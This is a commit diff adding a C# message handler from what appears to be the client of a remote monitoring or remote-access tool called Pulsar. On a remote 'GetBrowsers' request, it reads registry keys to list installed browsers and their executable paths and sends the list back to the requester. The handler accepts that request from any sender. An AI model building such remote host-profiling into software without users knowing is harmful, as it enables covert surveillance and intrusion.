initial commit

2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
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+using Pulsar.Common.Messages;
+using Pulsar.Common.Networking;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using Pulsar.Common.Messages.Other;
+using Pulsar.Common.Messages.Monitoring.Query;
+using Pulsar.Common.Models.Query.Browsers;
+using Pulsar.Common.Messages.Monitoring.Query.Browsers;
+
+namespace Pulsar.Client.Messages
+{
+    class QueryHandler
+    {
+        public bool CanExecute(IMessage message) => message is GetBrowsers;
+
+        public bool CanExecuteFrom(ISender sender) => true;
+
+        public void Execute(ISender sender, IMessage message)
+        {
+            switch (message)
+            {
+                case GetBrowsers msg:
+                    Execute(sender, msg);
+                    break;
+            }
+        }
+
+
+        private void Execute(ISender client, GetBrowsers message)
+        {
+            // get the browsers on the users computer
+            var browsers = new List<QueryBrowsers>();
+
+            using (var hklmKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet"))
+            {
+                if (hklmKey != null)
+                {
+                    foreach (var browserKey in hklmKey.GetSubKeyNames())
+                    {
+                        using (var browserProps = hklmKey.OpenSubKey(browserKey))
+                        {
+                            var browserName = browserProps?.GetValue(null)?.ToString();
+                            using (var commandProps = browserProps?.OpenSubKey(@"shell\open\command"))
+                            {
+                                var command = commandProps?.GetValue(null)?.ToString();
+                                var exePath = GetExecutablePath(command);
+                                if (!string.IsNullOrEmpty(browserName) && !string.IsNullOrEmpty(exePath))
+                                {
+                                    browsers.Add(new QueryBrowsers { Browser = browserName, Location = exePath });
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+
+            using (var hkcuKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet"))
+            {
+                if (hkcuKey != null)
+                {
+                    foreach (var browserKey in hkcuKey.GetSubKeyNames())
+                    {
+                        using (var browserProps = hkcuKey.OpenSubKey(browserKey))
+                        {
+                            var browserName = browserProps?.GetValue(null)?.ToString();
+                            using (var commandProps = browserProps?.OpenSubKey(@"shell\open\command"))
+                            {
+                                var command = commandProps?.GetValue(null)?.ToString();
+                                var exePath = GetExecutablePath(command);
+                                if (!string.IsNullOrEmpty(browserName) && !string.IsNullOrEmpty(exePath))
+                                {
+                                    browsers.Add(new QueryBrowsers { Browser = browserName, Location = exePath });
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+
+            // remove dups
+            browsers = browsers.GroupBy(b => b.Browser).Select(g => g.First()).ToList();
+
+            client.Send(new GetBrowsersResponse { QueryBrowsers = browsers });
+        }
+
+        private string GetExecutablePath(string command)
+        {
+            if (string.IsNullOrEmpty(command))
+            {
+                return null;
+            }
+
+            var match = System.Text.RegularExpressions.Regex.Match(command, @"(?<path>""[^""]+\.exe""|\S+\.exe)");
+            return match.Success ? match.Groups["path"].Value.Trim('"') : null;
+        }
+    }
+}